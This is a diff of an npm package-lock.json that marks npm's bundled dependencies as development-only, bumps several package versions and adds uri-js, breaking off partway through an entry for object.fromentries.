"node-gyp": { "version": "5.1.0", "bundled": true, + "dev": true, "requires": { "env-paths": "^2.2.0", "glob": "^7.1.4", @@ -10813,6 +14370,7 @@ "nopt": { "version": "4.0.3", "bundled": true, + "dev": true, "requires": { "abbrev": "1", "osenv": "^0.1.4" @@ -10821,6 +14379,7 @@ "normalize-package-data": { "version": "2.5.0", "bundled": true, + "dev": true, "requires": { "hosted-git-info": "^2.1.4", "resolve": "^1.10.0", @@ -10831,6 +14390,7 @@ "resolve": { "version": "1.10.0", "bundled": true, + "dev": true, "requires": { "path-parse": "^1.0.6" } @@ -10840,6 +14400,7 @@ "npm-audit-report": { "version": "1.3.3", "bundled": true, + "dev": true, "requires": { "cli-table3": "^0.5.0", "console-control-strings": "^1.1.0" @@ -10848,17 +14409,20 @@ "npm-bundled": { "version": "1.1.1", "bundled": true, + "dev": true, "requires": { "npm-normalize-package-bin": "^1.0.1" } }, "npm-cache-filename": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true }, "npm-install-checks": { "version": "3.0.2", "bundled": true, + "dev": true, "requires": { "semver": "^2.3.0 || 3.x || 4 || 5" } @@ -10866,6 +14430,7 @@ "npm-lifecycle": { "version": "3.1.5", "bundled": true, + "dev": true, "requires": { "byline": "^5.0.0", "graceful-fs": "^4.1.15", @@ -10879,15 +14444,18 @@ }, "npm-logical-tree": { "version": "1.2.1", - "bundled": true + "bundled": true, + "dev": true }, "npm-normalize-package-bin": { "version": "1.0.1", - "bundled": true + "bundled": true, + "dev": true }, "npm-package-arg": { "version": "6.1.1", "bundled": true, + "dev": true, "requires": { "hosted-git-info": "^2.7.1", "osenv": "^0.1.5", @@ -10898,6 +14466,7 @@ "npm-packlist": { "version": "1.4.8", "bundled": true, + "dev": true, "requires": { "ignore-walk": "^3.0.1", "npm-bundled": "^1.0.1", @@ -10907,6 +14476,7 @@ "npm-pick-manifest": { "version": "3.0.2", "bundled": true, + "dev": true, "requires": { "figgy-pudding": "^3.5.1", "npm-package-arg": "^6.0.0", @@ -10916,6 +14486,7 @@ "npm-profile": { "version": "4.0.4", "bundled": true, + "dev": true, "requires": { "aproba": "^1.1.2 || 2", "figgy-pudding": "^3.4.1", @@ -10923,8 +14494,9 @@ } }, "npm-registry-fetch": { - "version": "4.0.5", + "version": "4.0.7", "bundled": true, + "dev": true, "requires": { "JSONStream": "^1.3.4", "bluebird": "^3.5.1", @@ -10937,24 +14509,28 @@ "dependencies": { "safe-buffer": { "version": "5.2.1", - "bundled": true + "bundled": true, + "dev": true } } }, "npm-run-path": { "version": "2.0.2", "bundled": true, + "dev": true, "requires": { "path-key": "^2.0.0" } }, "npm-user-validate": { - "version": "1.0.0", - "bundled": true + "version": "1.0.1", + "bundled": true, + "dev": true }, "npmlog": { "version": "4.1.2", "bundled": true, + "dev": true, "requires": { "are-we-there-yet": "~1.1.2", "console-control-strings": "~1.1.0", @@ -10964,23 +14540,28 @@ }, "number-is-nan": { "version": "1.0.1", - "bundled": true + "bundled": true, + "dev": true }, "oauth-sign": { "version": "0.9.0", - "bundled": true + "bundled": true, + "dev": true }, "object-assign": { "version": "4.1.1", - "bundled": true + "bundled": true, + "dev": true }, "object-keys": { "version": "1.0.12", - "bundled": true + "bundled": true, + "dev": true }, "object.getownpropertydescriptors": { "version": "2.0.3", "bundled": true, + "dev": true, "requires": { "define-properties": "^1.1.2", "es-abstract": "^1.5.1" @@ -10989,25 +14570,30 @@ "once": { "version": "1.4.0", "bundled": true, + "dev": true, "requires": { "wrappy": "1" } }, "opener": { - "version": "1.5.1", - "bundled": true + "version": "1.5.2", + "bundled": true, + "dev": true }, "os-homedir": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true }, "os-tmpdir": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true }, "osenv": { "version": "0.1.5", "bundled": true, + "dev": true, "requires": { "os-homedir": "^1.0.0", "os-tmpdir": "^1.0.0" @@ -11015,11 +14601,13 @@ }, "p-finally": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "package-json": { "version": "4.0.1", "bundled": true, + "dev": true, "requires": { "got": "^6.7.1", "registry-auth-token": "^3.0.1", @@ -11030,6 +14618,7 @@ "pacote": { "version": "9.5.12", "bundled": true, + "dev": true, "requires": { "bluebird": "^3.5.3", "cacache": "^12.0.2", @@ -11066,6 +14655,7 @@ "minipass": { "version": "2.9.0", "bundled": true, + "dev": true, "requires": { "safe-buffer": "^5.1.2", "yallist": "^3.0.0" @@ -11076,6 +14666,7 @@ "parallel-transform": { "version": "1.1.0", "bundled": true, + "dev": true, "requires": { "cyclist": "~0.2.2", "inherits": "^2.0.3", @@ -11085,6 +14676,7 @@ "readable-stream": { "version": "2.3.6", "bundled": true, + "dev": true, "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", @@ -11098,6 +14690,7 @@ "string_decoder": { "version": "1.1.1", "bundled": true, + "dev": true, "requires": { "safe-buffer": "~5.1.0" } @@ -11106,47 +14699,58 @@ }, "path-exists": { "version": "3.0.0", - "bundled": true + "bundled": true, + "dev": true }, "path-is-absolute": { "version": "1.0.1", - "bundled": true + "bundled": true, + "dev": true }, "path-is-inside": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true }, "path-key": { "version": "2.0.1", - "bundled": true + "bundled": true, + "dev": true }, "path-parse": { "version": "1.0.6", - "bundled": true + "bundled": true, + "dev": true }, "performance-now": { "version": "2.1.0", - "bundled": true + "bundled": true, + "dev": true }, "pify": { "version": "3.0.0", - "bundled": true + "bundled": true, + "dev": true }, "prepend-http": { "version": "1.0.4", - "bundled": true + "bundled": true, + "dev": true }, "process-nextick-args": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "promise-inflight": { "version": "1.0.1", - "bundled": true + "bundled": true, + "dev": true }, "promise-retry": { "version": "1.1.1", "bundled": true, + "dev": true, "requires": { "err-code": "^1.0.0", "retry": "^0.10.0" @@ -11154,43 +14758,51 @@ "dependencies": { "retry": { "version": "0.10.1", - "bundled": true + "bundled": true, + "dev": true } } }, "promzard": { "version": "0.3.0", "bundled": true, + "dev": true, "requires": { "read": "1" } }, "proto-list": { "version": "1.2.4", - "bundled": true + "bundled": true, + "dev": true }, "protoduck": { "version": "5.0.1", "bundled": true, + "dev": true, "requires": { "genfun": "^5.0.0" } }, "prr": { "version": "1.0.1", - "bundled": true + "bundled": true, + "dev": true }, "pseudomap": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true }, "psl": { "version": "1.1.29", - "bundled": true + "bundled": true, + "dev": true }, "pump": { "version": "3.0.0", "bundled": true, + "dev": true, "requires": { "end-of-stream": "^1.1.0", "once": "^1.3.1" @@ -11199,6 +14811,7 @@ "pumpify": { "version": "1.5.1", "bundled": true, + "dev": true, "requires": { "duplexify": "^3.6.0", "inherits": "^2.0.3", @@ -11208,6 +14821,7 @@ "pump": { "version": "2.0.1", "bundled": true, + "dev": true, "requires": { "end-of-stream": "^1.1.0", "once": "^1.3.1" @@ -11217,19 +14831,23 @@ }, "punycode": { "version": "1.4.1", - "bundled": true + "bundled": true, + "dev": true }, "qrcode-terminal": { "version": "0.12.0", - "bundled": true + "bundled": true, + "dev": true }, "qs": { "version": "6.5.2", - "bundled": true + "bundled": true, + "dev": true }, "query-string": { "version": "6.8.2", "bundled": true, + "dev": true, "requires": { "decode-uri-component": "^0.2.0", "split-on-first": "^1.0.0", @@ -11238,27 +14856,24 @@ }, "qw": { "version": "1.0.1", - "bundled": true + "bundled": true, + "dev": true }, "rc": { "version": "1.2.8", "bundled": true, + "dev": true, "requires": { "deep-extend": "^0.6.0", "ini": "~1.3.0", "minimist": "^1.2.0", "strip-json-comments": "~2.0.1" - }, - "dependencies": { - "minimist": { - "version": "1.2.5", - "bundled": true - } } }, "read": { "version": "1.0.7", "bundled": true, + "dev": true, "requires": { "mute-stream": "~0.0.4" } @@ -11266,6 +14881,7 @@ "read-cmd-shim": { "version": "1.0.5", "bundled": true, + "dev": true, "requires": { "graceful-fs": "^4.1.2" } @@ -11273,6 +14889,7 @@ "read-installed": { "version": "4.0.3", "bundled": true, + "dev": true, "requires": { "debuglog": "^1.0.1", "graceful-fs": "^4.1.2", @@ -11286,6 +14903,7 @@ "read-package-json": { "version": "2.1.1", "bundled": true, + "dev": true, "requires": { "glob": "^7.1.1", "graceful-fs": "^4.1.2", @@ -11297,6 +14915,7 @@ "read-package-tree": { "version": "5.3.1", "bundled": true, + "dev": true, "requires": { "read-package-json": "^2.0.0", "readdir-scoped-modules": "^1.0.0", @@ -11306,6 +14925,7 @@ "readable-stream": { "version": "3.6.0", "bundled": true, + "dev": true, "requires": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", @@ -11315,6 +14935,7 @@ "readdir-scoped-modules": { "version": "1.1.0", "bundled": true, + "dev": true, "requires": { "debuglog": "^1.0.1", "dezalgo": "^1.0.0", @@ -11325,6 +14946,7 @@ "registry-auth-token": { "version": "3.4.0", "bundled": true, + "dev": true, "requires": { "rc": "^1.1.6", "safe-buffer": "^5.0.1" @@ -11333,6 +14955,7 @@ "registry-url": { "version": "3.1.0", "bundled": true, + "dev": true, "requires": { "rc": "^1.0.1" } @@ -11340,6 +14963,7 @@ "request": { "version": "2.88.0", "bundled": true, + "dev": true, "requires": { "aws-sign2": "~0.7.0", "aws4": "^1.8.0", @@ -11365,23 +14989,28 @@ }, "require-directory": { "version": "2.1.1", - "bundled": true + "bundled": true, + "dev": true }, "require-main-filename": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "resolve-from": { "version": "4.0.0", - "bundled": true + "bundled": true, + "dev": true }, "retry": { "version": "0.12.0", - "bundled": true + "bundled": true, + "dev": true }, "rimraf": { "version": "2.7.1", "bundled": true, + "dev": true, "requires": { "glob": "^7.1.3" } @@ -11389,42 +15018,50 @@ "run-queue": { "version": "1.0.3", "bundled": true, + "dev": true, "requires": { "aproba": "^1.1.1" }, "dependencies": { "aproba": { "version": "1.2.0", - "bundled": true + "bundled": true, + "dev": true } } }, "safe-buffer": { "version": "5.1.2", - "bundled": true + "bundled": true, + "dev": true }, "safer-buffer": { "version": "2.1.2", - "bundled": true + "bundled": true, + "dev": true }, "semver": { "version": "5.7.1", - "bundled": true + "bundled": true, + "dev": true }, "semver-diff": { "version": "2.1.0", "bundled": true, + "dev": true, "requires": { "semver": "^5.0.3" } }, "set-blocking": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "sha": { "version": "3.0.0", "bundled": true, + "dev": true, "requires": { "graceful-fs": "^4.1.2" } @@ -11432,29 +15069,35 @@ "shebang-command": { "version": "1.2.0", "bundled": true, + "dev": true, "requires": { "shebang-regex": "^1.0.0" } }, "shebang-regex": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "signal-exit": { "version": "3.0.2", - "bundled": true + "bundled": true, + "dev": true }, "slide": { "version": "1.1.6", - "bundled": true + "bundled": true, + "dev": true }, "smart-buffer": { "version": "4.1.0", - "bundled": true + "bundled": true, + "dev": true }, "socks": { "version": "2.3.3", "bundled": true, + "dev": true, "requires": { "ip": "1.1.5", "smart-buffer": "^4.1.0" @@ -11463,6 +15106,7 @@ "socks-proxy-agent": { "version": "4.0.2", "bundled": true, + "dev": true, "requires": { "agent-base": "~4.2.1", "socks": "~2.3.2" @@ -11471,6 +15115,7 @@ "agent-base": { "version": "4.2.1", "bundled": true, + "dev": true, "requires": { "es6-promisify": "^5.0.0" } @@ -11479,11 +15124,13 @@ }, "sorted-object": { "version": "2.0.1", - "bundled": true + "bundled": true, + "dev": true }, "sorted-union-stream": { "version": "2.1.3", "bundled": true, + "dev": true, "requires": { "from2": "^1.3.0", "stream-iterate": "^1.1.0" @@ -11492,6 +15139,7 @@ "from2": { "version": "1.3.0", "bundled": true, + "dev": true, "requires": { "inherits": "~2.0.1", "readable-stream": "~1.1.10" @@ -11499,11 +15147,13 @@ }, "isarray": { "version": "0.0.1", - "bundled": true + "bundled": true, + "dev": true }, "readable-stream": { "version": "1.1.14", "bundled": true, + "dev": true, "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.1", @@ -11513,13 +15163,15 @@ }, "string_decoder": { "version": "0.10.31", - "bundled": true + "bundled": true, + "dev": true } } }, "spdx-correct": { "version": "3.0.0", "bundled": true, + "dev": true, "requires": { "spdx-expression-parse": "^3.0.0", "spdx-license-ids": "^3.0.0" @@ -11527,11 +15179,13 @@ }, "spdx-exceptions": { "version": "2.1.0", - "bundled": true + "bundled": true, + "dev": true }, "spdx-expression-parse": { "version": "3.0.0", "bundled": true, + "dev": true, "requires": { "spdx-exceptions": "^2.1.0", "spdx-license-ids": "^3.0.0" @@ -11539,15 +15193,18 @@ }, "spdx-license-ids": { "version": "3.0.5", - "bundled": true + "bundled": true, + "dev": true }, "split-on-first": { "version": "1.1.0", - "bundled": true + "bundled": true, + "dev": true }, "sshpk": { "version": "1.14.2", "bundled": true, + "dev": true, "requires": { "asn1": "~0.2.3", "assert-plus": "^1.0.0", @@ -11561,8 +15218,9 @@ } }, "ssri": { - "version": "6.0.1", + "version": "6.0.2", "bundled": true, + "dev": true, "requires": { "figgy-pudding": "^3.5.1" } @@ -11570,6 +15228,7 @@ "stream-each": { "version": "1.2.2", "bundled": true, + "dev": true, "requires": { "end-of-stream": "^1.1.0", "stream-shift": "^1.0.0" @@ -11578,6 +15237,7 @@ "stream-iterate": { "version": "1.2.0", "bundled": true, + "dev": true, "requires": { "readable-stream": "^2.1.5", "stream-shift": "^1.0.0" @@ -11586,6 +15246,7 @@ "readable-stream": { "version": "2.3.6", "bundled": true, + "dev": true, "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", @@ -11599,6 +15260,7 @@ "string_decoder": { "version": "1.1.1", "bundled": true, + "dev": true, "requires": { "safe-buffer": "~5.1.0" } @@ -11607,15 +15269,18 @@ }, "stream-shift": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "strict-uri-encode": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "string-width": { "version": "2.1.1", "bundled": true, + "dev": true, "requires": { "is-fullwidth-code-point": "^2.0.0", "strip-ansi": "^4.0.0" @@ -11623,15 +15288,18 @@ "dependencies": { "ansi-regex": { "version": "3.0.0", - "bundled": true + "bundled": true, + "dev": true }, "is-fullwidth-code-point": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "strip-ansi": { "version": "4.0.0", "bundled": true, + "dev": true, "requires": { "ansi-regex": "^3.0.0" } @@ -11641,38 +15309,45 @@ "string_decoder": { "version": "1.3.0", "bundled": true, + "dev": true, "requires": { "safe-buffer": "~5.2.0" }, "dependencies": { "safe-buffer": { "version": "5.2.0", - "bundled": true + "bundled": true, + "dev": true } } }, "stringify-package": { "version": "1.0.1", - "bundled": true + "bundled": true, + "dev": true }, "strip-ansi": { "version": "3.0.1", "bundled": true, + "dev": true, "requires": { "ansi-regex": "^2.0.0" } }, "strip-eof": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "strip-json-comments": { "version": "2.0.1", - "bundled": true + "bundled": true, + "dev": true }, "supports-color": { "version": "5.4.0", "bundled": true, + "dev": true, "requires": { "has-flag": "^3.0.0" } @@ -11680,6 +15355,7 @@ "tar": { "version": "4.4.13", "bundled": true, + "dev": true, "requires": { "chownr": "^1.1.1", "fs-minipass": "^1.2.5", @@ -11693,6 +15369,7 @@ "minipass": { "version": "2.9.0", "bundled": true, + "dev": true, "requires": { "safe-buffer": "^5.1.2", "yallist": "^3.0.0" @@ -11703,21 +15380,25 @@ "term-size": { "version": "1.2.0", "bundled": true, + "dev": true, "requires": { "execa": "^0.7.0" } }, "text-table": { "version": "0.2.0", - "bundled": true + "bundled": true, + "dev": true }, "through": { "version": "2.3.8", - "bundled": true + "bundled": true, + "dev": true }, "through2": { "version": "2.0.3", "bundled": true, + "dev": true, "requires": { "readable-stream": "^2.1.5", "xtend": "~4.0.1" @@ -11726,6 +15407,7 @@ "readable-stream": { "version": "2.3.6", "bundled": true, + "dev": true, "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", @@ -11739,6 +15421,7 @@ "string_decoder": { "version": "1.1.1", "bundled": true, + "dev": true, "requires": { "safe-buffer": "~5.1.0" } @@ -11747,15 +15430,18 @@ }, "timed-out": { "version": "4.0.1", - "bundled": true + "bundled": true, + "dev": true }, "tiny-relative-date": { "version": "1.3.0", - "bundled": true + "bundled": true, + "dev": true }, "tough-cookie": { "version": "2.4.3", "bundled": true, + "dev": true, "requires": { "psl": "^1.1.24", "punycode": "^1.4.1" @@ -11764,6 +15450,7 @@ "tunnel-agent": { "version": "0.6.0", "bundled": true, + "dev": true, "requires": { "safe-buffer": "^5.0.1" } @@ -11771,23 +15458,28 @@ "tweetnacl": { "version": "0.14.5", "bundled": true, + "dev": true, "optional": true }, "typedarray": { "version": "0.0.6", - "bundled": true + "bundled": true, + "dev": true }, "uid-number": { "version": "0.0.6", - "bundled": true + "bundled": true, + "dev": true }, "umask": { "version": "1.1.0", - "bundled": true + "bundled": true, + "dev": true }, "unique-filename": { "version": "1.1.1", "bundled": true, + "dev": true, "requires": { "unique-slug": "^2.0.0" } @@ -11795,6 +15487,7 @@ "unique-slug": { "version": "2.0.0", "bundled": true, + "dev": true, "requires": { "imurmurhash": "^0.1.4" } @@ -11802,21 +15495,25 @@ "unique-string": { "version": "1.0.0", "bundled": true, + "dev": true, "requires": { "crypto-random-string": "^1.0.0" } }, "unpipe": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "unzip-response": { "version": "2.0.1", - "bundled": true + "bundled": true, + "dev": true }, "update-notifier": { "version": "2.5.0", "bundled": true, + "dev": true, "requires": { "boxen": "^1.2.1", "chalk": "^2.0.1", @@ -11830,35 +15527,56 @@ "xdg-basedir": "^3.0.0" } }, + "uri-js": { + "version": "4.4.0", + "bundled": true, + "dev": true, + "requires": { + "punycode": "^2.1.0" + }, + "dependencies": { + "punycode": { + "version": "2.1.1", + "bundled": true, + "dev": true + } + } + }, "url-parse-lax": { "version": "1.0.0", "bundled": true, + "dev": true, "requires": { "prepend-http": "^1.0.1" } }, "util-deprecate": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true }, "util-extend": { "version": "1.0.3", - "bundled": true + "bundled": true, + "dev": true }, "util-promisify": { "version": "2.1.0", "bundled": true, + "dev": true, "requires": { "object.getownpropertydescriptors": "^2.0.3" } }, "uuid": { "version": "3.3.3", - "bundled": true + "bundled": true, + "dev": true }, "validate-npm-package-license": { "version": "3.0.4", "bundled": true, + "dev": true, "requires": { "spdx-correct": "^3.0.0", "spdx-expression-parse": "^3.0.0" @@ -11867,6 +15585,7 @@ "validate-npm-package-name": { "version": "3.0.0", "bundled": true, + "dev": true, "requires": { "builtins": "^1.0.3" } @@ -11874,6 +15593,7 @@ "verror": { "version": "1.10.0", "bundled": true, + "dev": true, "requires": { "assert-plus": "^1.0.0", "core-util-is": "1.0.2", @@ -11883,6 +15603,7 @@ "wcwidth": { "version": "1.0.1", "bundled": true, + "dev": true, "requires": { "defaults": "^1.0.3" } @@ -11890,17 +15611,20 @@ "which": { "version": "1.3.1", "bundled": true, + "dev": true, "requires": { "isexe": "^2.0.0" } }, "which-module": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "wide-align": { "version": "1.1.2", "bundled": true, + "dev": true, "requires": { "string-width": "^1.0.2" }, @@ -11908,6 +15632,7 @@ "string-width": { "version": "1.0.2", "bundled": true, + "dev": true, "requires": { "code-point-at": "^1.0.0", "is-fullwidth-code-point": "^1.0.0", @@ -11919,6 +15644,7 @@ "widest-line": { "version": "2.0.1", "bundled": true, + "dev": true, "requires": { "string-width": "^2.1.1" } @@ -11926,6 +15652,7 @@ "worker-farm": { "version": "1.7.0", "bundled": true, + "dev": true, "requires": { "errno": "~0.1.7" } @@ -11933,6 +15660,7 @@ "wrap-ansi": { "version": "5.1.0", "bundled": true, + "dev": true, "requires": { "ansi-styles": "^3.2.0", "string-width": "^3.0.0", @@ -11941,15 +15669,18 @@ "dependencies": { "ansi-regex": { "version": "4.1.0", - "bundled": true + "bundled": true, + "dev": true }, "is-fullwidth-code-point": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "string-width": { "version": "3.1.0", "bundled": true, + "dev": true, "requires": { "emoji-regex": "^7.0.1", "is-fullwidth-code-point": "^2.0.0", @@ -11959,6 +15690,7 @@ "strip-ansi": { "version": "5.2.0", "bundled": true, + "dev": true, "requires": { "ansi-regex": "^4.1.0" } @@ -11967,11 +15699,13 @@ }, "wrappy": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true }, "write-file-atomic": { "version": "2.4.3", "bundled": true, + "dev": true, "requires": { "graceful-fs": "^4.1.11", "imurmurhash": "^0.1.4", @@ -11980,23 +15714,28 @@ }, "xdg-basedir": { "version": "3.0.0", - "bundled": true + "bundled": true, + "dev": true }, "xtend": { "version": "4.0.1", - "bundled": true + "bundled": true, + "dev": true }, "y18n": { - "version": "4.0.0", - "bundled": true + "version": "4.0.1", + "bundled": true, + "dev": true }, "yallist": { "version": "3.0.3", - "bundled": true + "bundled": true, + "dev": true }, "yargs": { "version": "14.2.3", "bundled": true, + "dev": true, "requires": { "cliui": "^5.0.0", "decamelize": "^1.2.0", @@ -12013,22 +15752,26 @@ "dependencies": { "ansi-regex": { "version": "4.1.0", - "bundled": true + "bundled": true, + "dev": true }, "find-up": { "version": "3.0.0", "bundled": true, + "dev": true, "requires": { "locate-path": "^3.0.0" } }, "is-fullwidth-code-point": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "locate-path": { "version": "3.0.0", "bundled": true, + "dev": true, "requires": { "p-locate": "^3.0.0", "path-exists": "^3.0.0" @@ -12037,6 +15780,7 @@ "p-limit": { "version": "2.3.0", "bundled": true, + "dev": true, "requires": { "p-try": "^2.0.0" } @@ -12044,17 +15788,20 @@ "p-locate": { "version": "3.0.0", "bundled": true, + "dev": true, "requires": { "p-limit": "^2.0.0" } }, "p-try": { "version": "2.2.0", - "bundled": true + "bundled": true, + "dev": true }, "string-width": { "version": "3.1.0", "bundled": true, + "dev": true, "requires": { "emoji-regex": "^7.0.1", "is-fullwidth-code-point": "^2.0.0", @@ -12064,6 +15811,7 @@ "strip-ansi": { "version": "5.2.0", "bundled": true, + "dev": true, "requires": { "ansi-regex": "^4.1.0" } @@ -12073,6 +15821,7 @@ "yargs-parser": { "version": "15.0.1", "bundled": true, + "dev": true, "requires": { "camelcase": "^5.0.0", "decamelize": "^1.2.0" @@ -12080,7 +15829,8 @@ "dependencies": { "camelcase": { "version": "5.3.1", - "bundled": true + "bundled": true, + "dev": true } } } @@ -12090,6 +15840,7 @@ "version": "2.0.2", "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-2.0.2.tgz", "integrity": "sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=", + "dev": true, "requires": { "path-key": "^2.0.0" } @@ -12130,7 +15881,8 @@ "number-is-nan": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz", - "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=" + "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=", + "dev": true }, "oauth-sign": { "version": "0.9.0", @@ -12177,7 +15929,8 @@ "object-hash": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-2.0.3.tgz", - "integrity": "sha512-JPKn0GMu+Fa3zt3Bmr66JhokJU5BaNBIh4ZeTlaCBzrBsOeXzwcKKAK1tbLiPKgvwmPXsDvvLHoWh5Bm7ofIYg==" + "integrity": "sha512-JPKn0GMu+Fa3zt3Bmr66JhokJU5BaNBIh4ZeTlaCBzrBsOeXzwcKKAK1tbLiPKgvwmPXsDvvLHoWh5Bm7ofIYg==", + "dev": true }, "object-inspect": { "version": "1.7.0", @@ -12198,7 +15951,8 @@ "object-keys": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", - "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==" + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "dev": true }, "object-visit": { "version": "1.0.1", @@ -12213,6 +15967,7 @@ "version": "4.1.0", "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.0.tgz", "integrity": "sha512-exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w==", + "dev": true, "requires": { "define-properties": "^1.1.2", "function-bind": "^1.1.1", @@ -12221,27 +15976,199 @@ } }, "object.entries": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.1.tgz", - "integrity": "sha512-ilqR7BgdyZetJutmDPfXCDffGa0/Yzl2ivVNpbx/g4UeWrCdRnFDUBrKJGLhGieRHDATnyZXWBeCb29k9CJysQ==", + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.3.tgz", + "integrity": "sha512-ym7h7OZebNS96hn5IJeyUmaWhaSM4SVtAPPfNLQEI2MYWCO2egsITb9nab2+i/Pwibx+R0mtn+ltKJXRSeTMGg==", "dev": true, "requires": { + "call-bind": "^1.0.0", "define-properties": "^1.1.3", - "es-abstract": "^1.17.0-next.1", - "function-bind": "^1.1.1", + "es-abstract": "^1.18.0-next.1", "has": "^1.0.3" + }, + "dependencies": { + "es-abstract": { + "version": "1.18.0", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.18.0.tgz", + "integrity": "sha512-LJzK7MrQa8TS0ja2w3YNLzUgJCGPdPOV1yVvezjNnS89D+VR08+Szt2mz3YB2Dck/+w5tfIq/RoUAFqJJGM2yw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "es-to-primitive": "^1.2.1", + "function-bind": "^1.1.1", + "get-intrinsic": "^1.1.1", + "has": "^1.0.3", + "has-symbols": "^1.0.2", + "is-callable": "^1.2.3", + "is-negative-zero": "^2.0.1", + "is-regex": "^1.1.2", + "is-string": "^1.0.5", + "object-inspect": "^1.9.0", + "object-keys": "^1.1.1", + "object.assign": "^4.1.2", + "string.prototype.trimend": "^1.0.4", + "string.prototype.trimstart": "^1.0.4", + "unbox-primitive": "^1.0.0" + } + }, + "has-symbols": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", + "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", + "dev": true + }, + "is-callable": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.3.tgz", + "integrity": "sha512-J1DcMe8UYTBSrKezuIUTUwjXsho29693unXM2YhJUTR2txK/eG47bvNa/wipPFmZFgr/N6f1GA66dv0mEyTIyQ==", + "dev": true + }, + "is-regex": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.2.tgz", + "integrity": "sha512-axvdhb5pdhEVThqJzYXwMlVuZwC+FF2DpcOhTS+y/8jVq4trxyPgfcwIxIKiyeuLlSQYKkmUaPQJ8ZE4yNKXDg==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "has-symbols": "^1.0.1" + } + }, + "object-inspect": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz", + "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==", + "dev": true + }, + "object.assign": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", + "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", + "dev": true, + "requires": { + "call-bind": "^1.0.0", + "define-properties": "^1.1.3", + "has-symbols": "^1.0.1", + "object-keys": "^1.1.1" + } + }, + "string.prototype.trimend": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz", + "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + }, + "string.prototype.trimstart": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz", + "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + } } }, "object.fromentries": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.2.tgz", - "integrity": "sha512-r3ZiBH7MQppDJVLx6fhD618GKNG40CZYH9wgwdhKxBDDbQgjeWGGd4AtkZad84d291YxvWe7bJGuE65Anh0dxQ==", + "version": "2.0.4", + "resolved": 